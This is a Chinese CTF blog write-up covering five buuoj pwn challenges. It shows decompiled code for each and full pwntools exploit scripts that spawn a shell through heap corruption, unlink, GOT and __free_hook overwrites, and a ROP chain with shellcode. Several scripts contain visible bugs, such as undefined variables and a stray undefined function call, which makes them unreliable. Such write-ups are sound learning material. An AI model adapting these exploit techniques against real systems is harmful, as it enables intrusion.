buuoj Pwn writeup 256-260

原创

yongbaoii 于 2021-09-01 08:34:49 发布 55 收藏

分类专栏： CTF 文章标签： 网络安全

256 ciscn_2019_s_2

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   87 Symbols    Yes     0              4            ./256
```

add

```
for ( i = 0; i <= 9 && flist[i]; ++i )
  ;
if ( i == 10 )
{
  puts("Full flag!");
  result = 0LL;
}
else
{
  v2 = (int *)malloc(0x10uLL);
  printf("size?>");
  v2[2] = read_int();
  *(_QWORD *)v2 = malloc(v2[2]);
  if ( !*(_QWORD *)v2 )
  {
    puts("Can not malloc!");
    exit(0);
  }
  printf("content:");
  secure_read(*(_QWORD *)v2, (unsigned int)v2[2]);
  v2[3] = 1;
  flist[i] = v2;
  puts("OK!");
  result = 0LL;
}
return result;
```


申请一个0x10的chunk，分别放着地址，大小，flag。

edit

```
  }
  if ( flist[v1] )
  {
    v2 = flist[v1];
    if ( *(_DWORD *)(v2 + 12) )
    {
      --*(_DWORD *)(v2 + 12);
      v3 = realloc(*(void **)v2, *(int *)(v2 + 8));
      if ( v3 )
      {
        *(_QWORD *)v2 = v3;
        printf("New content:");
        secure_read(*(void **)v2, *(_DWORD *)(v2 + 8));
        puts("OK!");
      }
      else
      {
        puts("Can not edit this flag!");
      }
      result = 0LL;
    }
    else
    {
      puts("Dead!");
      result = 0LL;
    }
  }
```


有个realloc，一会小心。

show

```
int Show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  __int64 v2; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 9 )
  {
    puts("You want to steal the flag?");
    exit(0);
  }
  if ( !flist[v1] )
    return puts("None flag!");
  v2 = flist[v1];
  if ( !*(_DWORD *)(v2 + 12) )
    return puts("Dead flag!");
  printf("Flag of index %d:\n", (unsigned int)v1);
  printf("Content: %s\nSize: %dsState: %d\n", *(const char **)v2, *(unsigned int *)(v2 + 8), *(unsigned int *)(v2 + 12));
  return puts("Done!");
}
```


这个show就平平无奇。

delete

```
int Delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  void **ptr; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 9 )
  {
    puts("You want to steal the flag?");
    exit(0);
  }
  if ( !flist[v1] )
    return puts("None flag!");
  ptr = (void **)flist[v1];
  free(*ptr);
  *ptr = 0LL;
  free(ptr);
  flist[v1] = 0LL;
  return puts("OK!");
}
```


free没啥问题。但是他没有管我们刚刚说的结构体里面的flag。

这就导致什么，我们再free了chunk之后，ptr指针没了，但是我们可以edit传入空指针，走一次realloc。

空指针的realloc会发生什么，当我们的size是的时候，realloc会将他释放掉，清理指针的

exp

```python
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF("./256")

r = remote('node4.buuoj.cn',29001)
libc = ELF('./64/libc-2.27.so')

def add(size,content):
  r.sendlineafter('choice:',"1")
  r.sendlineafter('size?>',str(size))
  r.sendafter('content:',content)
def edit(idx,content):
  r.sendlineafter('choice:',"2")
  r.sendlineafter('Index:',str(idx))
  r.sendafter('content:',content)
def show(idx):
  r.sendlineafter('choice:',"3")
  r.sendlineafter('Index:',str(idx))
def delete(idx):
  r.sendlineafter('choice:',str(idx))
  r.sendlineafter('Index:',str(idx))
def edit2(idx):
  r.sendlineafter('choice:',"2")
  r.sendlineafter('Index:',str(idx))

add(0,'')
edit2(0)
delete(0)
add(0x10,p64(0)) #0
add(0x20,'aaa')  #1
show(0)
r.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2a0

add(0x500,'aaa') #2
add(0,'')   #3
delete(2)
edit(0,p64(heap_base+0x2f0))
show(1)
r.recvuntil('Content: ')
libc.address = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
add(0x500,'/bin/sh\x00') #2
fuck(3)
delete(3)
add(0x10,p64(libc.sym['__free_hook'])) #3
add(0x10,p64(libc.sym['system']))
delete(2)

r.interactive()
```

257 qwb2019_one

```
RELRO          STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols       Yes    0              3            ./257
```

add

```
void add()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    if ( !*(_QWORD *)(8LL * i + unk_203060) )
    {
      puts("Now, you can input your test string:");
      *(_QWORD *)(8LL * i + unk_203060) = malloc(0x30uLL);
      sub_1147(*(_QWORD *)(8LL * i + unk_203060));
      memset(*(void **)(8LL * i + unk_203060), 0, 0x30uLL);
      sub_D34(*(_QWORD *)(8LL * i + unk_203060), 32LL);
      puts("Success!");
      break;
    }
  }
  if ( i == 20 )
    puts("Sorry,there is no free space here.");
}
```


平平无奇

最多读入0x20个字符。

edit

```
v4 = __readfsqword(0x28u);
puts("Please give me the index of the string:");
v1 = sub_DC5();
if ( v1 >= 0 && v1 <= 19 && *(_QWORD *)(8LL * v1 + unk_203060) )
{
  puts("Which char do you want to edit:");
  sub_D34(v3, 2LL);
  v2 = strchr(*(const char **)(8LL * v1 + unk_203060), v3[0]);
  if ( v2 )
  {
    puts("What do you want to edit it into:");
    *v2 = getchar();
    getchar();
    puts("Success!");
  }
  else
  {
    puts("Sorry, I can't find it!");
  }
}
else
{
  puts("Sorry~");
}
```


strchr函数

> C 库函数 char *strchr(const char *str, int c) 在参数 str 所指向的字符串中搜索第一次出现字符 c（一个无符号字符）的位置。

这个函数允许我们每次改变一个字节，那我们其实就想干嘛干嘛了……

show

```
nt show()

int v1; // [rsp+Ch] [rbp-4h]

puts("Please give me the index of the string:");
v1 = sub_DC5();
if ( v1 < 0 || v1 > 19 || !*(_QWORD *)(8LL * v1 + unk_203060) )
  return puts("Sorry~");
puts("The string is:");
if ( strlen(*(const char **)(8LL * v1 + unk_203060)) > 0x20 )
{
  puts((const char *)0x726F7221);
  exit(0);
}
return puts(*(const char **)(8LL * v1 + unk_203060));
```


del

```
int del()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Please give me the index of the string:");
  v1 = sub_DC5();
  if ( v1 < 0 || v1 > 19 || !*(_QWORD *)(8LL * v1 + unk_203060) )
    return puts("Sorry~");
  free(*(void **)(8LL * v1 + unk_203060));
  *(_QWORD *)(8LL * v1 + unk_203060) = 0LL;
  return puts("Success!");
}
```


指针也清理掉了。

有个后门函数，输入1$

```
result = unk_203010;
if ( unk_203010 )
{
  puts("\nIf you don't know what to test, here are some strings to choose from.");
  puts("Do you want to use one?(Y/N)");
  v1 = getchar();
  getchar();
  if ( v1 == 89 )
  {
    unk_203010 = 0;
    puts("Here are 5 strings to be tested. Which one do you want to test?");
    v2 = (int)abs32(sub_DC5()) % 5;
    if ( v2 > 4 )
    {
      result = puts("It seems that you don't want to use these strings.");
    }
    else
    {
      puts("The string:");
      result = puts(*((const char **)&unk_203060 + v2 + 4));
    }
  }
  else
  {
    result = puts("Bye~");
  }
}
return result;
```


有个奇怪的abs。
就是绝对值函数。

我们可以通过edit，来构造chunk，制造unlink，来劫持got表。但是前提是需要计算程序基地址，因为开了pie。
那我们就可以利用到那个abs函数的溢出，来泄露elf的基地址。

我们具体看一下abs怎么做到泄露地址的。

```
  0x556ddcc00de8    call   0x556ddcc00d34 <0x556ddcc00d3
  0x556ddcc00ded    lea    rax, [rbp - 0x20]
  0x556ddcc00df1    mov    rdi, rax
▶ 0x556ddcc00df4    call   atoi@plt <atoi@plt>
      nptr: 0x7ffd85380740 ◂— '2147483648'
  0x556ddcc00df9    mov    rdx, qword ptr [rbp - 8]
  0x556ddcc00dfd    xor    rdx, qword ptr fs:[0x28]
  0x556ddcc00e06    je     0x556ddcc00e0d <0x556ddcc00e0
  0x556ddcc00e08    call   __stack_chk_fail@plt <__stack_
```


首先传入的是0x80000000.

然后导致rax立马成了0x80000000

```
*RAX  0x80000000
```

```
RAX  0xfffffffd
RBX  0x0
```

他最后输出的是chunk1里面的指向的chunk的数据，chunk1指向0x3060。

最后输出0x3060里的数据，

```
RBP  0x7ffd85380780 —▸ 0x7ffd85380790 —▸ 0x556ddcc01670 ◂— push   r15
RSP  0x7ffd85380770 —▸ 0x7ffd85380870 ◂— 0x1
*RIP  0x556ddcc01122 ◂— call   0x556ddcc00990
  0x556ddcc0110e    lea    edx, [rax + 4]
  0x556ddcc01111    lea    rax, [rip + 0x201f48]
  0x556ddcc01118    movsxd rdx, edx
  0x556ddcc0111b    mov    rax, qword ptr [rax + rdx*8]
  0x556ddcc0111f    mov    rdi, rax
▶ 0x556ddcc01122    call   puts@plt <puts@plt>
      s: 0x556ddce03060 —▸ 0x556ddce030c0 ◂— 0x0
  0x556ddcc01127    jmp    0x556ddcc01144 <0x556ddcc01144>
  0x556ddcc01129    lea    rdi, [rip + 0xe70]
  0x556ddcc01130    call   puts@plt <puts@plt>
```


其实道理很简单，因为atoi返回的是一个长整型，这就导致我们如果输入负数，符号在八个字节的第一个bit，这就导致一会截断之后我们的数字还是正的，但是我们如果输入一个比较大的数，就比如0x80000000，截断之后四个字节他就变成了负数，%5之后就会得到我们要的-3.

exp

```python
#coding:utf8
from pwn import *

#context.log_level = "debug"

r = remote('node4.buuoj.cn',27097)
#r = process("./257")

elf = ELF('./257')
```

```python
libc = ELF('./64/libc-2.27.so')

def add(string):
    r.sendlineafter('command>>','1')
    r.sendafter('test string:',string)

def edit(index,old_c,new_c):
    r.sendlineafter('command>>','2')
    r.sendlineafter('index of the string:',str(index))
    r.sendafter('Which char do you want to edit:',old_c)
    r.sendlineafter('What do you want to edit it into:',new_c)

def show(index):
    r.sendlineafter('command>>','3')
    r.sendlineafter('index of the string:',str(index))

def delete(index):
    r.sendlineafter('command>>','4')
    r.sendlineafter('index of the string:',str(index))

def test(index):
    r.sendlineafter('command>>','12580')
    r.sendlineafter('Do you want to use one?(Y/N)','Y')
    r.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?',str(index))

test(0x80000000)
r.recvuntil('The string:\n')
heap_ptr = u64(r.recv(6).ljust(0x8,'\x00'))
elf_base = heap_ptr - 0x2030C0
free_got = elf_base + elf.got['free']
print 'elf_base=',hex(elf_base)

char_table = ''
for i in range(0x20):
   char_table += chr(ord('a')+i)

add(char_table) #0
add('b'*0x20) #1
add('/bin/sh\x00') #2
for i in range(0xF):
   add('b'*0x20)

add('c'*0x20)

for i in range(0x18):
   edit(0,'\x00',chr(ord('B') + i))
size = 0x40 * 0x11
edit(0,'\x41\n',p8(size & 0xFF))
edit(0,'\x00',p8((size >> 0x8) & 0xFF))
for i in range(0x17,0x10,-1):
   edit(0,chr(ord('B') + i) + '\n','\x00')
edit(0,chr(ord('B') + 0x10) + '\n',p8(0x30))
fake_chunk = p64(0) + p64(0x31)
fake_chunk += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
for i in range(0x1F,-1,-1):
   edit(0,chr(ord('a')+i)+'\n',fake_chunk[i])

delete(1) #unlink

for i in range(0x18):
```

```
    edit(0,'\x00','1')
edit(0,'\xA8\n','\xC8')
for i in range(6):
    edit(0,'\x00',p8((free_got >> (8 * i)) & 0xFF))

show(1)
r.recvuntil('The string is:\n')
free_addr = u64(r.recv(6).ljust(0x8,'\x00'))
libc_base = free_addr - libc.sym['free']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)

for i in range(6):
    edit(0,p8((free_got >> (8 * i)) & 0xFF) + '\n',p8((free_hook >> (8 * i)) & 0xFF))
#写free_hook


for i in range(6):
    edit(1,'\x00',p8((system_addr >> (8 * i)) & 0xFF))


delete(2)

r.sendline("cat flag")

r.interactive()
```

258 hxb_pwn300

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled   No PIE       No RPATH   No RUNPATH   2259 Symbols  Yes     2              41           ./258
```

```
  setbuf(stderr, 0);
  Welcome();
  printf("How many times do you want to calculate:", v4);
  _isoc99_scanf("%d", &v7);
  if ( v7 <= 3 || v7 > 255 )
  {
    puts("wrong input!");
    exit(-1);
  }
```


看起来是个计算器。

```
{
  case 1:
    Add();
    *(_DWORD *)(v8 + 4 * v9) = ResultAdd;
    goto LABEL_11;
  case 2:
    Sub();
    *(_DWORD *)(v8 + 4 * v9) = ResultSub;
    goto LABEL_11;
  case 3:
    Mul();
    *(_DWORD *)(v8 + 4 * v9) = ResultMul;
    goto LABEL_11;
  case 4:
    Div();
    *(_DWORD *)(v8 + 4 * v9) = ResultDiv;
    goto LABEL_11;
  case 5:
    memcpy(&v6, v8, 4 * v7);
    free(v8);
    return 0;
  default:
    puts("wrong input!");
```


显然就是。

他说先输入要计算多少次。那这个数足够大的时候其实就可以溢出。

exp

```python
from pwn import *
context(os='linux',arch='x86',log_level='debug')

r = remote("node4.buuoj.cn",29365)
elf=ELF('./258')

def add(value):
 r.sendlineafter("5 Save the result",'1')
 r.sendlineafter("input the integer x:",str(value-1))
 r.sendlineafter("input the integer y:",'1')

bss_addr=0x80EB000
read=elf.symbols['read']
mprotect=elf.symbols['mprotect']
pop_eax=0x080bb406
jmp_eax=0x08048f02
pop_ebxesiedi=0x08048913
r.sendlineafter("How many times do you want to calculate:",'40')

for i in range(16):
 add(0)

add(read)
add(pop_ebxesiedi)
add(0)
add(bss_addr)
add(0x50)
add(mprotect)
add(pop_ebxesiedi)
add(bss_addr)
add(0x1000)
add(7)
add(pop_eax)
add(bss_addr)
add(jmp_eax)

r.sendlineafter("5 Save the result",'5')
r.send(asm(shellcraft.sh()))
r.interactive()
```

259 others_easyheap

```
RELRO          STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols       Yes    1               2            ./259
```

add

```
  v1 = malloc(0x10uLL);
  qword_202040[v8] = (__int64)v1;
  if ( !v1 )
    goto LABEL_34;
  _printf_chk(1LL, "Size:");
  v2 = (__int64 *)nptr;
  *(_QWORD *)nptr = 0LL;
  buf = 0;
  do
  {
    while ( read(0, &buf, 1uLL) != 1 )
    {
      v2 = (__int64 *)((char *)v2 + 1);
      if ( v11 == v2 )
        goto LABEL_26;
    }
    if ( buf == 10 )
      break;
    *(_BYTE *)v2 = buf;
    v2 = (__int64 *)((char *)v2 + 1);
  }
  while ( v11 != v2 );
LABEL_26:
  v3 = strtol(nptr, 0LL, 10);
  v4 = malloc((int)v3);
  if ( v4 )
  {
    v5 = 0LL;
    puts("Content:");
    buf = 0;
```


普普通通。

edit

```
  v1 = strtol(nptr, 0LL, 10);
  if ( v1 <= 0xF && (v2 = (int)v1, qword_202040
  {
    v3 = (__int64 *)nptr;
    _printf_chk(1LL, "Size:");
    *(_QWORD *)nptr = 0LL;
    buf = 0;
    do
    {
      while ( read(0, &buf, 1uLL) != 1 )
      {
        v3 = (__int64 *)((char *)v3 + 1);
        if ( v3 == v10 )
          goto LABEL_13;
      }
      if ( buf == 10 )
        break;
      *(_BYTE *)v3 = buf;
      v3 = (__int64 *)((char *)v3 + 1);
    }
    while ( v3 != v10 );
LABEL_13:
    v7 = strtol(nptr, 0LL, 10);
    v4 = 0LL;
    puts("Content:");
    v5 = *(_QWORD *)(qword_202040[v2] + 8);
    buf = 0;
```


edit溢出。

攻击free_hook就好了。

exp

```python
from pwn import *
#p=process('./easyheap')
elf=ELF('./easyheap')
libc=ELF("./64/libc-2.23.so")
p=remote('node4.buuoj.cn',26139)
def add(size,content):
 p.sendlineafter(':','1')
 p.sendlineafter('Size:',str(size))
 p.sendlineafter('Content:',content)

def edit(idx,size,content):
 p.sendlineafter(':','2')
 p.sendlineafter('id:',str(idx))
 p.sendlineafter('Size:',str(size))
 p.sendafter('Content:',content)

def show():
 p.sendlineafter(':','3')

def delete(idx):
 p.sendlineafter(':','4')
 p.sendlineafter('id:',str(idx))

add(0x18,'aaaa')#0
add(0x68,'bbbb')#1
add(0x20,'cccc')#2
add(0x20,'dddd')#3
add(0x30,'/bin/sh\x00')#4
add(0x30,'/bin/sh\x00')#5
payload='a'*0x18+p64(0x91)
edit(0,len(payload),payload)
delete(1)
add(0x18,'')
show()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-88-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(0x20,'ffff')
payload=p64(0)*4+p64(0)+p64(0x21)+p64(0x50)+p64(free_hook)
edit(3,len(payload),payload)
edit(4,8,p64(system))
delete(5)
#show()
p.interactive()
```

260 pwnable_bf

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   79 Symbols    Yes     0              4            ./260
```

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char s[1024]; // [esp+2Ch] [ebp-408h] BYREF
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(s, 0, sizeof(s));
  fgets(s, 1024, stdin);
  for ( i = 0; i < strlen(s); ++i )
    do_brainfuck(s[i]);
  return 0;
}
```


主程序就是输入字符串，然后咔咔一顿循环去执行brainfuck。

```
switch ( a1 )
{
  case '+':
    result = p;
    ++*(_BYTE *)p;
    break;
  case ',':
    v2 = (_BYTE *)p;
    result = getchar();
    *v2 = result;
    break;
  case '-':
    result = p;
    --*(_BYTE *)p;
    break;
  case '.':
    result = putchar(*(char *)p);
    break;
  case '<':
    result = --p;
    break;
  case '>':
    result = ++p;
    break;
  case '[':
    result = puts("[ and ] not supported.");
    break;
  default:
    return result;
```


那显然你看有可以移动指针p的>，有可以泄露的.有可以改变数字的功能，got表是可写的，所以就是把p指针移动到下面的got表，然后泄露，劫持。

```python
#coding=utf-8
from pwn import *

ptr = 0x0804a0a0
putchar = 0x804a030
jmp = 0x8048671

r = process("./260")

r.recvuntil("type some brainfuck instructions except [ ]\n")

payload="."
payload+="<"*(112-4)+"<."*4+"<"#Leak putchar
payload+=">,"*4+"<"*36+">,"*4  #reset puts,fgets
payload+="<"*4+'>'*28+'>,'*4+'.' #reset  memset

r.sendline(payload)
r.recv(1)#这里是为了调用put函数向got表中写入真实地址

puts_addr=u32(p.recv(4)[::-1])
print "puts_addr="+hex(puts_addr)

system_addr=libc.symbols["system"]+puts_addr-libc.symbols["putchar"]
r.send(p32(jmp))
gets_addr=libc.symbols["gets"]+puts_addr-libc.symbols["putchar"]
r.send(p32(system_addr))
r.send(p32(gets_addr))

r.recvuntil("type some brainfuck instructions except [ ]\n")
r.sendline("/bin/sh\x00")

r.interactive()
```